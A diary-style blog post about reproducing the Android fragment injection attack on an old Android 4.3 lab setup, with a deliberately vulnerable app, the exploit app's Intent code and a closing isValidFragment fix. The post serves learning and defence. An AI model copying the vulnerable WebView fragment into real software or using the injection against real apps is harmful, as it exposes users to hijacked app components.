How I Met Fragment Injection

Created: 11.09.2020

Friday

Moscow has again become Mordor-like, the Sun is starting to make its heat more official rather than genuine because it’s getting desperately cold.

Tools: Android Studio 4.0.1, built on June, 25, 2020 (Runtime version: 1.8.0_242-release-1644-b3-6222593 X86_64, VM: OpenJDK 64-bit Server VM by JetbBrains s.r.o.)

05:35 am πŸ˜ͺ Even though I went to sleep too late yesterday (due to my wushu πŸ§ŽπŸ½β€β™€οΈpractice and a bath I had to take to help my muscles overcome the shock of such an unusual physical activity after almoust a year of turning into a very pretty and round stump of a tree and covering with moss after several months of coronavirus-driven self-isolation), I couldn’t keep my eyes shut because I was so obsesed by and absorbed with the idea of my new project: Android Exploiter. So, I tried to fall asleep (just for appearance’s sake) for about 40 minutes, but since my husband has already gotten up and my little three-year old daughter as well, seemed no use to insist. So, I got up and was about to go to the kitchen, but was stuck by my laptop once again… Why this stupid application is not running? What am I doing wrong. 😑 That day I’ve hardly left the table…πŸ‘©πŸ½β€πŸ’»

Environment: macOS Catalina, 10.15.6 (19G2021)

Preamble

The story began with the attempt (I can’t stress that enough: attempt) to reproduce an exploit that was demostrated several years ago on PhDays and was also mentioned on Mobile Security Guide: fragment injection. Of course, it took me a while to get how fragments work and how to make a simple Android application with some Activity, Broadcast Receiver, Fragment and WebView, but I’ve managed.

6:00 am So, Fragments require Reflection API, but what are you exactly, Reflection? I’ve found the below snippet to figure that out. Let’s compare two ways of instanciating a class:

// option 1
Class testClass = new CatsClass();

// option 2
String sClassName = "android.app.CatsClass";
Class classToInvestigate = Class.forName(sClassName);

The second way uses a string with a class name to create a class. When using the regular (the first way), if CatsClass is not in Android SDK of certain version at runtime, the app crashes. So, developers, as Google states, use reflection to check whether certain class/method/field etc exists at runtime. Here is a good reference on that topic πŸ“–.

Prerequisites

7:14 am Mmmm… refreshing cup of coffee prepared and flavoured with love… β˜• I feel my spirits raising …β˜„οΈ

So, what’s next… I need to outline the plan for that attack, just a general idea. Just to prevent all possible grudge and complaints, I’ll mention that almoust all the code below was copied from Mobile Security Guide. However, I’ve edited the exploit. The basic idea behind the scenes is as follows. To acomplish this attack I need:

  1. Vulnerable application (SDK < 19 and Android < 4.4). The one written for Mobile Security Guide can be downloaded from here.
    1. Application has an exported activity that extends PreferenceActivity
    2. Application has an unexported activity that utilizes Fragments.
    3. Application has a Fragment. For the purpose of this example, with WebView.
  2. Exploit application. Can be downloaded from here, but I prefer to create my own Android project in Android Studio (for Android 4.3 and SDK 18) and copy-paste the exploit code from below just to see how it all works.

So, the Vulnerable application’s Activity which extends PreferenceActivity:

public class MainActivity extends PreferenceActivity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
}

“Lucky me”

8:36 am What the hell… 😠 Why every time I try to reproduce some exploit or install an application, I run into some error!!! It seems like I am under some sort of curse that makes my installing of even a simple two line program a difficult and tedious process full of nested installations and error fixes. 😫That’s why I am no big friends with Linux and usually use it on VM or Bootable USB, since it’s the OS the most prone to errors during installations and it’s also possible to unwillingly break something while installing some minor πŸ’© Much safer to use in an isolated environment given that I’m “enchanted” ⭐.

This piece of … code crashes on all devices (physical and emulators). I suppose, there appears to be some sort of protection: I cannot use PreferenceActivity extension on MainActivity. So, let’s create a separate ExportedActivity class. with a Fragment without protection. For example, a fragment below parses input string and opens the URL in WebView… let’s learn to java-code! ❗

8:55 am Ok, here’s what I’ve got so far. Seems pretty to me 😊

public class MyFragment extends Fragment {
    public void onCreate (Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View v = inflater.inflate(R.layout.fragmentLayout, null);
        WebView myWebView = (WebView) wv.findViewById(R.id.webview);
        myWebView.getSettings().setJavaScriptEnabled(true);
        myWebView.loadUrl(this.getActivity().getIntent().getDataString());
        return v;
    }
}

Here is the expoit application. To make it I (“make” is a strong word for copy-pasting πŸ˜‚) I’ve created an Empty Activity for Android for 4.3, API 18 and pasted this code:

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        fragmentInjection("pt.claudio.insecurefragment",
                "pt.claudio.insecurefragment.MainActivity",
                "pt.claudio.insecurefragment.MyFragment",
                "https://bakerst221b.com/docs/articles/mobile/android/complex-attacks/"
                );
    }

    protected void fragmentInjection(String victimPackage,
                                     String victimActivity,
                                     String victimFragment,
                                     String exploitString) {
        Intent i = new Intent();
        i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
        i.setClassName(victimPackage,victimActivity);
        i.putExtra(":android:show_fragment",victimFragment);
        Intent intent = i.setData(Uri.parse(exploitString));
        startActivity(i);
    }
}

Why 4.3 Android? Bevause beware of the prerequisited to this attack. Even though the chap from the video above claimed that though it was patched with 4.4 Android (API 19), you still can make it fly on Android 6. I don’t know how he managed to get it flying or at least crawling, but my story was as usual not that easy… No easy ways for me… Let’s investigate, that’s all what’s left other than giving up (that I’m not going to do right now) πŸ•΅οΈβ€β™€οΈ

So, the compiled version of the vulnerable app is working on 4.3 Android and the problem is that I can’t build my own. I’ve even tried reverse engineering the vulnerable application by Mobile Security Guide team in case I’ve overlooked some little detail, but all for vain… Need more than 1 cup of β˜• that’s for sure.

Research results

10:03 pm Oh! What a difficult day that was! I didn’t have any time or even the desire for β˜• since I was too devoted to that task. But it seems to find the answer to this peculiar and irritating behaviour.

When downloading and installing the latest available version of Android Studio, I’m forced to install the latest possible sdk, build-tools and gradle. Also, there appears a connection between the above three components: build-tools need to be approximately the same version as sdk and not all versions of build-tools are supported by gradle.

public class MainActivity extends AppCompatActivity {
  @Override  protected void onCreate(Bundle savedInstanceState) {    
    super.onCreate(savedInstanceState);
    String packageNameString = "pt.claudio.insecurefragment";                                                       
    String activityNameString = "MainActivity";    
    String fragmentNameString = "MyFragment";    
    String exploitString = "http://google.com";
    fragmentInjection(packageNameString, activityNameString, fragmentNameString, exploitString);  
  }
  protected void fragmentInjection(String victimPackage,
                                   String victimActivity,
                                   String victimFragment,
                                   String exploitString) 
  {
    Intent i = new Intent();
    i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
    i.setClassName(victimPackage,victimPackage + "." + victimActivity);
    i.putExtra(":android:show_fragment",victimPackage + "." + victimFragment);
    Intent intent = i.setData(Uri.parse(exploitString));    startActivity(i);  
  }
}

If I was wrong in my conclusions, please, help! :) Here is the question I’ve posted on StackOverflow, but I think I’ve only confused people there.

Recommendations

If the developers have somehow just left a cave or a forest and dare to use old build-tools, gradle and SDK and don’t understand why updating, I’d recommend them to review there development principles and try to overcome fear that might be causing and rebuild the application with the latest possible build-tools, targetsdk (>= 19), update libraries. If they fear too much, then at least they’d better use this method in the activity which extends PreferenceActivity:

@Override
protected boolean isValidFragment(String fragmentName)
{
return "com.fullpackage.MyPreferenceFragment".equals(fragmentName); //"com.fullpackage.MyPreferenceFragment" is substituted with the fragment name that is allowed to be loaded inside this activity which extends PreferenceActivity
}

References

Here is a good article with an example. Another example in Mobile Security Guide. Another one from PhDays (approximately 20th minute).